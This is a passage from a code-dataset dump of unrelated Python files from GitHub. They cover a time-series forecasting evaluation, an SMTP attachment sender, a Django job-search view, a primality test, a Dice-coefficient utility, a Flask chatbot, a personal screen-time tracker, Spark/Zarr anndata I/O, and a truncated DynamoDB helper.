Set model into evaluation mode\n lstm.eval()\n\n # Make ES_RNN_S Prediction\n prediction, actual, out_levels, out_seas, all_levels, all_seasons, \\\n rnn_out = lstm.predict(test_data, window_size, output_size, weather)\n\n # Convert test data to correct form for results saving\n test_data = torch.tensor(test_data[\"total load actual\"],\n dtype=torch.double)\n\n # [[<- 48 ->],] generated, so remove the dimension\n prediction = pd.Series(prediction.squeeze(0).detach().tolist())\n actual = pd.Series(actual.squeeze(0).detach().tolist())\n out_levels = out_levels.squeeze(0).detach().tolist()\n out_seas = out_seas.squeeze(0).detach().tolist()\n all_levels = [l.detach().item() for l in all_levels]\n all_seasons = [s.detach().item() for s in all_seasons]\n rnn_out = rnn_out.squeeze(0).detach().tolist()\n\n # Make Naive2 Prediction\n naive_fit_forecast = reseasonalise(\n naive_2(train_deseas, output_size), indices, \"multiplicative\"\n )\n naive_prediction = naive_fit_forecast[-output_size:].reset_index(\n drop=True)\n\n # Calculate errors\n es_rnn_smape = sMAPE(prediction, actual)\n es_rnn_mase = MASE(prediction, mase_data, 168, output_size)\n naive_smape = sMAPE(naive_prediction, actual)\n naive_mase = MASE(naive_prediction, mase_data, 168, output_size)\n owa = OWA(naive_smape, naive_mase, es_rnn_smape, es_rnn_mase)\n\n # Save values\n es_rnn_smapes.append(es_rnn_smape)\n es_rnn_mases.append(es_rnn_mase)\n naive2_smapes.append(naive_smape)\n naive2_mases.append(naive_mase)\n es_rnn_predictions.append(prediction)\n naive2_predictions.append(naive_prediction)\n actuals.append(actual)\n actuals_mases.append(mase_data)\n owas.append(owa)\n\n # Print results\n print(\"***** Test Results *****\")\n print(\"ES-RNN sMAPE:\", es_rnn_smape)\n print(\"Naive2 sMAPE:\", naive_smape)\n print(\"ES-RNN MASE:\", es_rnn_mase)\n print(\"Naive2 MASE:\", naive_mase)\n print(\"OWA\", owa)\n print(\"\")\n\n # Save all results\n results[9 - i][\"test_data\"] = test_data.tolist()\n results[9 - i][\"ESRNN_prediction\"] = prediction.to_list()\n results[9 - i][\"Naive2_prediction\"] = naive_prediction.to_list()\n results[9 - i][\"all_levels\"] = all_levels\n results[9 - i][\"out_levels\"] = out_levels\n results[9 - i][\"all_seas\"] = all_seasons\n results[9 - i][\"out_seas\"] = out_seas\n results[9 - i][\"rnn_out\"] = rnn_out\n results[9 - i][\"level_smoothing\"] = float(\n lstm.level_smoothing_coeffs[\"total load actual\"].data\n )\n results[9 - i][\"seasonality_smoothing\"] = float(\n lstm.seasonality_smoothing_coeffs[\"total load actual\"].data\n )\n results[9 - i][\"losses\"] = losses\n\n sys.stderr.flush()\n sys.stdout.flush()\n\n # Print final results\n owas_np = np.array(owas)\n num_improved = len(owas_np[owas_np < 1.0])\n avg_improve = float(np.around(owas_np[owas_np < 1.0].mean(), decimals=3))\n avg_decline = float(np.around(owas_np[owas_np >= 1.0].mean(), decimals=3))\n avg_owa = float(np.around(np.mean(owas), decimals=3))\n print(\"***** OVERALL RESULTS *****\")\n print(\"Average OWA:\", avg_owa)\n print(\"No. Improved:\", num_improved)\n print(\"Avg. Improvement:\", avg_improve)\n print(\"Avg. Decline:\", avg_decline)\n\n sys.stderr.flush()\n sys.stdout.flush()\n\n # Make note of final results\n results[\"overall\"] = {\n \"avg_owa\": avg_owa,\n \"num_improved\": num_improved,\n \"avg_improvement\": avg_improve,\n \"avg_decline\": avg_decline\n }\n\n # Write results (NCC)\n if write_results:\n season_dict = {0: \"_winter\", 1: \"_spring\", 2: \"_summer\", 3: \"_autumn\"}\n name = sys.argv[1]\n if len(sys.argv) == 2:\n filename = name + \".txt\"\n elif len(sys.argv) == 3:\n filename = name + \"_year_\" + str(year) + \".txt\"\n elif len(sys.argv) == 4:\n s = season_dict[season]\n filename = name + \"_year_\" + str(year) + s + \".txt\"\n elif len(sys.argv) == 6:\n s = season_dict[season]\n filename = name + \"_year_\" + str(year) + s + \"_\" +\\\n str(init_level_smoothing) + \"_\" +\\\n str(init_seasonal_smoothing) + \".txt\"\n else:\n filename = \"test.txt\"\n\n res_path = os.path.join(res_base, filename)\n with open(res_path, \"w\") as res:\n json.dump(results, res)\n\n if plot:\n plot_test(results, window_size, output_size, print_results=True)\n\n","repo_name":"mattingram0/AdvancedResearchProject","sub_path":"hybrid/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":15311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13048121035","text":"# -*- coding:utf-8 -*- \nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nHOST=\"smtp.126.com\"\nTITLE=\"Send python file\"\nTO=\"zhangpeng@conac.cn\"\nFROM_ADDR=\"zhang_peng101@126.com\"\nCONTENT=MIMEText(\"Send text again.This time send a attach!\")#邮件格式的纯文本,邮件中的内容部分\n#BODY=\"\\r\\n\".join((\n # \"From: %s\" % FROM_ADDR,\n # \"TO: %s\" % TO,\n # \"Subject: %s\" %TITLE,\n # \"\",\n # CONTENT\n#))\nattact=MIMEText(open(\"sla.py\",\"rb\").read(),\"base64\",\"utf-8\")\n#attact[\"Content-Type\"]=\"application/octet-stream\"\nattact.add_header('Content-Disposition','attactment',filename='sla.py')\nmsg=MIMEMultipart('related')#创建邮件对象。\nmsg.attach(attact)\nmsg.attach(CONTENT)\nmsg['Subject'] = TITLE\nmsg['From']=FROM_ADDR\nmsg['To']=TO\nserver=smtplib.SMTP()\nserver.connect(HOST,\"25\")\nserver.starttls()\nserver.login(\"zhang_peng101@126.com\",\"xxxxxx\")\nserver.sendmail(FROM_ADDR,TO,msg.as_string())\nserver.quit()\n","repo_name":"xiatian002/0309","sub_path":"sendmail.py","file_name":"sendmail.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36805345484","text":"from django.shortcuts import render\nfrom services.scraper_service import *\nimport json\nfrom services.location_service import *\nfrom text_analysis.extract_skills import get_top_ten_skills\nimport time\n\n\ndef jobs(request):\n if request.method == 'POST':\n startTime = time.time()\n zipcode = request.POST.get('zipcode')\n query = request.POST.get('query')\n max_results = 10\n input = {'zipcode': zipcode, 'query': query}\n jobs = json.loads(scrape_indeed(input, max_results))\n print(\"Time to get job results: \", time.time() - startTime)\n skills = get_top_ten_skills(jobs)\n print(\"Time to get skills: \", time.time() - startTime)\n number_of_jobs = len(jobs)\n else:\n #host = request.get_host()\n #zipcode = get_city(host)\n zipcode = \"\"\n query = \"\"\n input = {'zipcode': zipcode, 'query': query}\n jobs = []\n skills = []\n number_of_jobs = 0\n\n context = {'jobs': jobs, 'input': input, 'skills': skills,\n 'number_of_jobs': number_of_jobs}\n return render(request, '../templates/jobs.html', context)\n","repo_name":"katiehouse/covid19-job-dashboard","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13651267389","text":"#! /usr/bin/env python\nimport json\nimport os,sys\nimport subprocess\nimport time\nimport random \nfrom datetime import date, datetime, timedelta\nfrom PIL import Image\nimport numpy as np\nimport processreader\nfrom matplotlib import pyplot as plt\nfrom timeit import timeit\nfrom tldextract import extract\nfrom config import BIRTHDAY_FILE, CATEGORIZATION_FILE, HISTORY_FILE, DAILY_ACTIVITY_PATH, TIMER_PATH, HOME\n# from youtube_scraping import find_category\n\nos.environ[\"DISPLAY\"] = \":0.0\"\nos.environ[\"XAUTHORITY\"] = HOME+ \".Xauthority\"\n\n\"\"\" \nFormat of timer.json(which has data for every day):\n{\n \"1\": 14,\n \"2\":98,\n \"3\":31,\n \"4\":16,\n \"uncategorised\":{ \"website\": {\n domain: {\n \"site\": [ site1, site2, ..],\n \"time\" : 4\n }\n }\n },\n \"offline\" : {\n \"activity1\" : 17,\n \"activity2\" : 8,\n },\n \"total\": 29 (4+17+8)\n }\n \"last_updated\":\"13:45:03\"\n}\n \"\"\"\n\n\ndef display(dic, yesterday):\n \"\"\" Function to display total time consumed in all the categories as bar chart \"\"\"\n\n # Load the categorisation file, to find each activity or domain mapped to their respective category.\n x, y = [\"Acad.\", \"Non-Acad.\", \"Entert.\", \"Misc.\",\"Unknown\"], []\n for k, v in dic.items():\n if k!=\"last_updated\":\n y.append(v)\n # print(x,y)\n pos = np.arange(len(x))\n plt.bar(pos, y, color=\"blue\", edgecolor=\"black\")\n plt.xticks(pos, x)\n # plt.xlabel(\"Activity\", fontsize=10)\n plt.ylabel(\"Time(mins)\", fontsize=10)\n plt.title(\"{} activity : {} mins\".format(yesterday, sum(y)), fontsize=20)\n # plt.show()\n if not os.path.exists(DAILY_ACTIVITY_PATH):\n os.makedirs(DAILY_ACTIVITY_PATH)\n\n plt.savefig(DAILY_ACTIVITY_PATH +str(yesterday)+\".png\", bbox_inches='tight')\n try:\n img = Image.open(DAILY_ACTIVITY_PATH+str(yesterday)+\".png\")\n img.show()\n except:\n pass \n # time.sleep(1)\n\n\n# Fetch active window every 5 minutes, and add 5 minutes to activity-time whenever one is detected.\nget = lambda cmd: subprocess.check_output(cmd).decode(\"utf-8\").strip()\n\ndef browser_activity():\n \"\"\" Returns the website name which is active in the firefox browser. Sample output : \"www.facebook.com/video?=vxyaz3r4\" \"\"\"\n tab_url = \"\"\n # print(subprocess.check_output([\"xdotool\" ,\"getactivewindow\", \"getwindowname\"]).decode(\"utf-8\"))\n current_title = \"-\".join(subprocess.check_output([\"xdotool\" ,\"getactivewindow\", \"getwindowname\"]).decode(\"utf-8\").strip().split(\"-\")[:-1]).strip()\n if current_title !=\"\":\n # print(current_title)\n data_dic = processreader.fetch_links_firefox()\n if data_dic.get(current_title)==None: #Either the user is using private browser or firefox database is not yet updated.\n time.sleep(30) # wait for 30 seconds and re-fetch the firefox database.\n data_dic = processreader.fetch_links_firefox()\n\n if data_dic.get(current_title)!=None: # if Found return the \n my_link = data_dic[current_title]\n # tab_url = extract(my_link).domain\n if my_link.strip()!=\"\":\n return my_link\n\n return None # return None if any of the above condition fails. Indicates either db-error or private window. \n\ndef do_the_work():\n # sleep for a random time between [0-4] mins \n random_minute = random.randint(0,4)\n time.sleep(random_minute*60)\n\n today_date = date.today().strftime(\"%d-%m-%Y\")\n # print(\"Updation date: \", today_date)\n update_time = datetime.now().time().strftime(\"%H:%M:%S\")\n categorisation_data = json.load(open(CATEGORIZATION_FILE,\"r\")) # dictionary having all categorized data\n\n try: \n timer_dic = json.load(open(TIMER_PATH, \"r\")) #Dictionary with all daily activity data.\n except :\n timer_dic = {}\n\n if timer_dic.get(today_date) == None: # When about to create a new entry on today's date\n\n previous_date = (date.today() - timedelta(days=1)).strftime(\"%d-%m-%Y\")\n i=2\n # Find the last accessible date within 1 month from today_date.\n while timer_dic.get(previous_date) == None and i<=30: # \n previous_date = (date.today() - timedelta(days=i)).strftime(\"%d-%m-%Y\")\n i+=1\n \n if timer_dic.get(previous_date) !=None: # if any date withing 30 days found in database which isn't processed yet.\n\n reference_dict = timer_dic[previous_date]\n \n \n # Add uncategorised activities into the browser_history_log \n if reference_dict[\"uncategorised\"][\"total\"]!=0:\n try:\n perm_dic = json.load(open(HISTORY_FILE, \"r\")) # dictionary having browser history data\n\n except : # File not yet created or deleted by external agent\n perm_dic={}\n perm_dic[\"website\"] = {}\n perm_dic[\"offline\"] = {}\n # For all uncategorised \"website\" \n for my_domain in reference_dict[\"uncategorised\"][\"website\"]:\n perm_dic[\"website\"][my_domain] = perm_dic[\"website\"].get(my_domain,{})\n perm_dic[\"website\"][my_domain][\"sites\"] = perm_dic[\"website\"][my_domain].get(\"sites\", [])\n\n perm_dic[\"website\"][my_domain][\"sites\"].extend(reference_dict[\"uncategorised\"][\"website\"][my_domain][\"site\"])\n # removing all duplicates\n perm_dic[\"website\"][my_domain][\"sites\"] = list(set(perm_dic[\"website\"][my_domain][\"sites\"])) \n perm_dic[\"website\"][my_domain][\"count\"] = perm_dic[\"website\"][my_domain].get(\"count\",0) + reference_dict[\"uncategorised\"][\"website\"][my_domain].get(\"time\",0)\n\n for activity, cnt in reference_dict[\"uncategorised\"][\"offline\"].items():\n perm_dic[\"offline\"][activity] = perm_dic[\"offline\"].get(activity,0) + cnt \n\n json.dump(perm_dic, open(HISTORY_FILE, \"w+\"))\n\n reference_dict[\"uncategorised\"] = reference_dict[\"uncategorised\"][\"total\"]\n \n # Give notification whenever unknown time exceeds 30% of other time.\n categorized_time = reference_dict[\"1\"] +reference_dict[\"2\"]+reference_dict[\"3\"]+reference_dict[\"4\"]\n uncategorized_time = reference_dict[\"uncategorised\"]\n if uncategorized_time > 0.5 * categorized_time: # give red alert for categorization\n os.system('notify-send -t 5 -u critical \"[timer]: Unknown time exceeded 50%\" \"Run command : \\\"categorize\\\" to categorise\"')\n elif uncategorized_time > 0.3 * categorized_time: # give normal alert for categorization\n os.system('notify-send -t 5 -u normal \"[timer]: Unknown time exceeded 30%\" \"Run command : \\\"categorize\\\" to categorise\"')\n\n if os.path.isfile(DAILY_ACTIVITY_PATH+str(previous_date)+\".png\")==False:\n # Send data to display function\n display(reference_dict, previous_date)\n \n temp_dictionary={\"1\":0,\"2\":0,\"3\":0,\"4\":0} # temporary dictionary to keep all categorisation \n temp_dictionary[\"uncategorised\"]= {\"website\":{}, \"offline\":{}, \"total\":0}\n \n timer_dic[today_date] = temp_dictionary\n\n \n # print(dic)\n activity_time = random_minute + timer_dic.get(\"previous_remaining_time\",0)\n try:\n p_id = (\n subprocess.check_output([\"xdotool\", \"getactivewindow\", \"getwindowpid\"])\n .decode(\"utf-8\")\n .strip()\n )\n p_name = (\n subprocess.check_output([\"ps\", \"-p\", p_id, \"-o\", \"comm=\"]).decode(\"utf-8\").strip()\n )\n p_name = \"gnome-terminal\" if p_name==\"gnome-terminal-\" else p_name\n list_browsers=[\"firefox-bin\", \"vivaldi-bin\"]\n\n print( update_time, today_date, end=\" \")\n tab=\"\"\n if p_name in list_browsers:\n if p_name==\"firefox-bin\":\n tab = browser_activity()\n # Add:\n # else if p_name ==\"vivaldi-bin\":\n # else if p_name==\"chrome\":\n # more options for browsers like safari, chromium, etc.\n\n if tab!=None and tab.strip()!=\"\":\n dom = extract(tab).domain\n print(\"Last activity was: {} for {} mins\" .format(dom,activity_time))\n \n if dom==\"google\": # take cases for categorisation\n sub = extract(tab).subdomain\n if sub==\"www\": # can be all of the 4 categories. \n timer_dic[today_date][\"1\"] += int(activity_time*(2/5)) \n timer_dic[today_date][\"2\"] += int(activity_time*(2/5)) \n timer_dic[today_date][\"4\"] += int(activity_time*(1/5)) \n else: # most subdomains of google are academic while others are non-academic.\n timer_dic[today_date][\"1\"] += int(activity_time*(3/5)) \n timer_dic[today_date][\"2\"] += int(activity_time*(2/5)) \n \n elif dom==\"youtube\":\n # timer_dic[today_date][\"1\"] += int(activity_time*(4/5)) \n # timer_dic[today_date][\"2\"] += int(activity_time*(1/5)) \n timer_dic[today_date][\"3\"] += int(activity_time*(5/5)) \n # timer_dic[today_date][\"4\"] += int(activity_time*(2/5))\n\n elif dom in categorisation_data[\"websites\"]:\n timer_dic[today_date][str(categorisation_data[\"websites\"][dom])] += activity_time\n \n else:\n timer_dic[today_date][\"uncategorised\"][\"website\"][dom]= timer_dic[today_date][\"uncategorised\"][\"website\"].get(dom,{})\n timer_dic[today_date][\"uncategorised\"][\"website\"][dom][\"site\"] = timer_dic[today_date][\"uncategorised\"][\"website\"][dom].get(\"site\", [])\n timer_dic[today_date][\"uncategorised\"][\"website\"][dom][\"time\"] = timer_dic[today_date][\"uncategorised\"][\"website\"][dom].get(\"time\", 0)\n timer_dic[today_date][\"uncategorised\"][\"website\"][dom][\"site\"].append(tab)\n timer_dic[today_date][\"uncategorised\"][\"website\"][dom][\"time\"] += activity_time # to keep note that which domain is using how much time\n timer_dic[today_date][\"uncategorised\"][\"total\"] += activity_time \n else: # private tab in entertainment\n print(\"Some unloaded/private tab for : {} mins\".format(activity_time))\n timer_dic[today_date][\"3\"] += activity_time\n # os.system(\"notify-send -u critical private\")\n\n else:\n print(\"Last activity was : {} for {} mins\".format( p_name,activity_time))\n if p_name in categorisation_data[\"offline\"]:\n timer_dic[today_date][str(categorisation_data[\"offline\"][p_name])] += activity_time\n else:\n timer_dic[today_date][\"uncategorised\"][\"offline\"][p_name] += activity_time\n timer_dic[today_date][\"uncategorised\"][\"total\"]+= activity_time\n \n\n timer_dic[today_date][\"last_updated\"] = update_time\n timer_dic[\"previous_remaining_time\"] = 5- random_minute\n json.dump(timer_dic, open(TIMER_PATH, \"w+\"))\n return True # success\n except Exception as e:\n print(e)\n return False #failure\n \nif __name__ == \"__main__\":\n # time.sleep(3)\n status = do_the_work()\n # count = 1\n # while status!= True: # until success retry\n # time.sleep(1) # sleep for 1 sec and expect the same error to not occur again\n # status = do_the_work()\n # count+=1\n # if count ==10: # try only 10 times at max\n # break \n","repo_name":"rjsu26/ScheduleMe","sub_path":"timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":12142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20377779171","text":"from hashlib import sha1\nfrom meya.util.msgpack import to_msgpack\nfrom typing import Any\n\n\ndef sha1_hex(*data: Any) -> str:\n new_hash = sha1()\n for item in data:\n if isinstance(item, str):\n item = item.encode(\"utf-8\")\n elif not isinstance(item, bytes):\n item = to_msgpack(item)\n new_hash.update(item)\n return new_hash.hexdigest()\n","repo_name":"meya-customers/meya-sdk","sub_path":"meya/util/sha1.py","file_name":"sha1.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34135141256","text":"# Generalize anndata (http://anndata.readthedocs.io/en/latest/) to support Spark RDDs of numpy arrays\n\nimport math\nimport numpy as np\nimport zarr\n\nimport anndata as ad\nfrom anndata.base import BoundRecArr\nfrom zarr_spark import get_chunk_indices, read_zarr_chunk, repartition_chunks\n\n\ndef _read_chunk_csv(csv_file, chunk_size):\n \"\"\"\n Return a function to read a chunk by coordinates from the given file.\n \"\"\"\n\n def read_one_chunk(chunk_index):\n adata = ad.read_csv(csv_file)\n return read_zarr_chunk(adata.X, chunk_size, chunk_index)\n\n return read_one_chunk\n\n\ndef _read_chunk_zarr(zarr_file, chunk_size):\n \"\"\"\n Return a function to read a chunk by coordinates from the given file.\n \"\"\"\n\n def read_one_chunk(chunk_index):\n adata = ad.read_zarr(zarr_file)\n return read_zarr_chunk(adata.X, chunk_size, chunk_index)\n\n return read_one_chunk\n\n\ndef _read_chunk_zarr_gcs(gcs_path, chunk_size, gcs_project, gcs_token):\n \"\"\"\n Return a function to read a chunk by coordinates from the given file.\n \"\"\"\n\n def read_one_chunk(chunk_index):\n import gcsfs.mapping\n\n gcs = gcsfs.GCSFileSystem(gcs_project, token=gcs_token)\n store = gcsfs.mapping.GCSMap(gcs_path, gcs=gcs)\n adata = ad.read_zarr(store)\n return read_zarr_chunk(adata.X, chunk_size, chunk_index)\n\n return read_one_chunk\n\n\ndef _write_chunk_zarr(zarr_file):\n \"\"\"\n Return a function to write a chunk by index to the given file.\n \"\"\"\n\n def write_one_chunk(index_arr):\n \"\"\"\n Write a partition index and numpy array to a zarr store. The array must be the size of a chunk, and not\n overlap other chunks.\n \"\"\"\n index, arr = index_arr\n z = zarr.open(zarr_file, mode=\"r+\")\n x = z[\"X\"]\n chunk_size = x.chunks\n x[chunk_size[0] * index : chunk_size[0] * (index + 1), :] = arr\n\n return write_one_chunk\n\n\ndef _write_chunk_zarr_gcs(gcs_path, gcs_project, gcs_token):\n \"\"\"\n Return a function to write a chunk by index to the given file.\n \"\"\"\n\n def write_one_chunk(index_arr):\n \"\"\"\n Write a partition index and numpy array to a zarr store. The array must be the size of a chunk, and not\n overlap other chunks.\n \"\"\"\n import gcsfs.mapping\n\n gcs = gcsfs.GCSFileSystem(gcs_project, token=gcs_token)\n store = gcsfs.mapping.GCSMap(gcs_path, gcs=gcs)\n index, arr = index_arr\n z = zarr.open(store, mode=\"r+\")\n x = z[\"X\"]\n chunk_size = x.chunks\n x[chunk_size[0] * index : chunk_size[0] * (index + 1), :] = arr\n\n return write_one_chunk\n\n\nclass AnnDataRdd:\n def __init__(self, sc, adata, rdd, shape, chunks, dtype):\n self.sc = sc\n self.adata = adata\n self.rdd = rdd\n # need to store some metadata about X since adata.X is None so can't retrieve from there\n self.shape = shape\n self.chunks = chunks\n self.dtype = dtype\n # maintain per-partition row counts so we don't have to recompute for repartition_chunks() before saving\n self.partition_row_counts = [chunks[0]] * (shape[0] // chunks[0]) + [\n shape[0] % chunks[0]\n ]\n\n @classmethod\n def _from_anndata(cls, sc, adata, chunk_size, read_chunk_fn):\n shape = adata.X.shape\n dtype = adata.X.dtype\n ci = get_chunk_indices(shape, chunk_size)\n adata.X = None # data is stored in the RDD\n chunk_indices = sc.parallelize(ci, len(ci))\n rdd = chunk_indices.map(read_chunk_fn)\n return cls(sc, adata, rdd, shape, chunk_size, dtype)\n\n @classmethod\n def from_csv(cls, sc, csv_file, chunk_size):\n \"\"\"\n Read a CSV file as an anndata object (for the metadata) and with the\n data matrix (X) as an RDD of numpy arrays.\n *Note* the anndata object currently also stores the data matrix, which is\n redundant and won't scale. This should be improved, possibly by changing anndata.\n \"\"\"\n adata = ad.read_csv(csv_file)\n return cls._from_anndata(\n sc, adata, chunk_size, _read_chunk_csv(csv_file, chunk_size)\n )\n\n @classmethod\n def from_zarr(cls, sc, zarr_file):\n \"\"\"\n Read a Zarr file as an anndata object (for the metadata) and with the\n data matrix (X) as an RDD of numpy arrays.\n \"\"\"\n adata = ad.read_zarr(zarr_file)\n chunk_size = zarr.open(zarr_file, mode=\"r\")[\"X\"].chunks\n return cls._from_anndata(\n sc, adata, chunk_size, _read_chunk_zarr(zarr_file, chunk_size)\n )\n\n @classmethod\n def from_zarr_gcs(cls, sc, gcs_path, gcs_project, gcs_token=\"cloud\"):\n \"\"\"\n Read a Zarr file from GCS as an anndata object (for the metadata) and with the\n data matrix (X) as an RDD of numpy arrays.\n \"\"\"\n import gcsfs.mapping\n\n gcs = gcsfs.GCSFileSystem(gcs_project, token=gcs_token)\n store = gcsfs.mapping.GCSMap(gcs_path, gcs=gcs)\n adata = ad.read_zarr(store)\n chunk_size = zarr.open(store, mode=\"r\")[\"X\"].chunks\n return cls._from_anndata(\n sc,\n adata,\n chunk_size,\n _read_chunk_zarr_gcs(gcs_path, chunk_size, gcs_project, gcs_token),\n )\n\n def _write_zarr(self, store, chunks, write_chunk_fn):\n assert chunks[1] == self.adata.n_vars\n # write the metadata out using anndata\n self.adata.write_zarr(store, chunks)\n # write X using Spark\n partitioned_rdd = repartition_chunks(\n self.sc, self.rdd, chunks, self.partition_row_counts\n ) # repartition if needed\n z = zarr.open(store, mode=\"w\")\n shape = (self.adata.n_obs, self.adata.n_vars)\n z.create_dataset(\"X\", shape=shape, chunks=chunks, dtype=self.dtype)\n\n def index_partitions(index, iterator):\n values = list(iterator)\n assert len(values) == 1 # 1 numpy array per partition\n return [(index, values[0])]\n\n partitioned_rdd.mapPartitionsWithIndex(index_partitions).foreach(write_chunk_fn)\n\n def write_zarr(self, zarr_file, chunks):\n \"\"\"\n Write an anndata object to a Zarr file.\n \"\"\"\n self._write_zarr(zarr_file, chunks, _write_chunk_zarr(zarr_file))\n\n def write_zarr_gcs(self, gcs_path, chunks, gcs_project, gcs_token=\"cloud\"):\n \"\"\"\n Write an anndata object to a Zarr file on GCS.\n \"\"\"\n import gcsfs.mapping\n\n gcs = gcsfs.GCSFileSystem(gcs_project, token=gcs_token)\n store = gcsfs.mapping.GCSMap(gcs_path, gcs=gcs)\n self._write_zarr(\n store, chunks, _write_chunk_zarr_gcs(gcs_path, gcs_project, gcs_token)\n )\n\n def copy(self):\n return AnnDataRdd(self.adata.copy(), self.rdd)\n\n def _inplace_subset_var(self, index):\n # similar to same method in AnnData but for the case when X is None\n self.adata._n_vars = np.sum(index)\n self.adata._var = self.adata._var.iloc[index]\n self.adata._varm = BoundRecArr(self.adata._varm[index], self.adata, \"varm\")\n return None\n\n def _inplace_subset_obs(self, index, partition_row_counts):\n # similar to same method in AnnData but for the case when X is None\n self.adata._n_obs = np.sum(index)\n self.adata._slice_uns_sparse_matrices_inplace(self.adata._uns, index)\n self.adata._obs = self.adata._obs.iloc[index]\n self.adata._obsm = BoundRecArr(self.adata._obsm[index], self.adata, \"obsm\")\n self.partition_row_counts = partition_row_counts\n return None\n","repo_name":"lasersonlab/single-cell-experiments","sub_path":"anndata_spark.py","file_name":"anndata_spark.py","file_ext":"py","file_size_in_byte":7589,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} +{"seq_id":"38065473357","text":"def miller(n, m):\n k = n-1\n while not k % 2:\n if pow(m, k, n) == n-1:\n return True\n k >>= 1\n tmp = pow(m, k, n)\n return tmp == n-1 or tmp == 1\n\n\ndef prime(n):\n if n <= 1:\n return False\n if n <= 1000:\n for i in range(2, int(n**0.5)+1):\n if n % i == 0:\n return False\n return True\n for m in (2, 7, 61):\n if not miller(n, m):\n return False\n return True\n\n\nres = 0\nfor num in map(int, (__import__('sys').stdin.read().split()[1:])):\n if prime(num*2+1):\n res += 1\nprint(res)","repo_name":"shg9411/algo","sub_path":"algo_py/boj/bj5615.py","file_name":"bj5615.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23369341553","text":"import numpy as np\n\n\ndef progress(iteration, total, prefix='', suffix='', decimals=1, length=100, fill='█', printEnd=\"\\r\"):\n \"\"\"\n https://stackoverflow.com/questions/3173320/text-progress-bar-in-the-console\n Call in a loop to create terminal progress bar\n @params:\n iteration - Required : current iteration (Int)\n total - Required : total iterations (Int)\n prefix - Optional : prefix string (Str)\n suffix - Optional : suffix string (Str)\n decimals - Optional : positive number of decimals in percent complete (Int)\n length - Optional : character length of bar (Int)\n fill - Optional : bar fill character (Str)\n printEnd - Optional : end character (e.g. \"\\r\", \"\\r\\n\") (Str)\n \"\"\"\n percent = (\"{0:.\" + str(decimals) + \"f}\").format(100 * (iteration / float(total)))\n filledLength = int(length * iteration // total)\n bar = fill * filledLength + '-' * (length - filledLength)\n print(f'\\r{prefix} |{bar}| {percent}% {suffix}', end=printEnd)\n # Print New Line on Complete\n if iteration == total:\n print()\n\n\ndef dice(im1, im2, empty_score=1.0):\n \"\"\"\n Computes the Dice coefficient, a measure of set similarity.\n Parameters\n ----------\n im1 : array-like, bool\n Any array of arbitrary size. If not boolean, will be converted.\n im2 : array-like, bool\n Any other array of identical size. If not boolean, will be converted.\n Returns\n -------\n dice : float\n Dice coefficient as a float on range [0,1].\n Maximum similarity = 1\n No similarity = 0\n Both are empty (sum eq to zero) = empty_score\n\n Notes\n -----\n The order of inputs for `dice` is irrelevant. The result will be\n identical if `im1` and `im2` are switched.\n \"\"\"\n im1 = np.asarray(im1).astype(bool)\n im2 = np.asarray(im2).astype(bool)\n\n if im1.shape != im2.shape:\n raise ValueError(\"Shape mismatch: im1 and im2 must have the same shape.\")\n\n im_sum = im1.sum() + im2.sum()\n if im_sum == 0:\n return empty_score\n\n # Compute Dice coefficient\n intersection = np.logical_and(im1, im2)\n\n return 2. * intersection.sum() / im_sum\n","repo_name":"blackadar/xray-qa","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36433402006","text":"import torch\nfrom utils import save_pickle, load_pickle, preload, load_embd_weights, load_data, to_var, update_context, save_embeds\nfrom train import *\n\nfrom flask import Flask, render_template, request\napp = Flask(__name__)\n\ntrain_data = load_data(fpath_train, entities, w2i, action_dict)\ntrain(model, train_data, optimizer, w2i, action_dict)\ntorch.save(model.state_dict(), save_path)\n#\nmodel = HybridCodeNetwork(-1, len(w2i), args.embd_size, args.hidden_size, len(action_dict), len(entities.keys()), pre_embd_w)\nmodel.load_state_dict(torch.load(save_path))\n\n# run Flask app:\n@app.route('/')\ndef index():\n global context1,context_settings1, uttr_list1, context_list1, bow_list1, prev_list1, act_fil_list1\n context1 = [0] * len(entities.keys())\n context_settings1 = {e: [] for e in entities.keys()}\n uttr_list1, context_list1, bow_list1, prev_list1, act_fil_list1 = [[], [], [], [], []]\n return render_template('index.html')\n\n@app.route('/get')\ndef get_bot_response():\n uttr = request.args.get('msg')\n output = interactive(uttr, model, w2i, action_dict)\n # output = interactive1(uttr)\n return str(output)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080)\n app.config['DEBUG'] = True\n app.debug = True\n app.config.update(\n DEBUG=True,\n SECRET_KEY='...'\n )","repo_name":"Asteur/pharmabot","sub_path":"working_dev_only/flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41208079242","text":"import boto3\n\nREGION_NAME = 'us-east-1'\n\n# Create DynamoClient\ndynamo = boto3.client('dynamodb', region_name='us-east-1')\n\n\ndef format_attr(name, attribute_type):\n return {\n 'AttributeName': name,\n 'AttributeType': attribute_type\n }\n\n\ndef attributes(attribs):\n formatted_attributes = map(lambda x: format_attr(\n name=x[0], attribute_type=x[1]), attribs)\n\n return list(formatted_attributes)\n\n\ndef format_schema(name, schema_type):\n return {\n 'AttributeName': name,\n 'KeyType': schema_type\n }\n\n\ndef schema(attribs):\n formatted_attributes = map(lambda x: format_schema(\n name=x[0], schema_type=x[1]), attribs)\n\n return 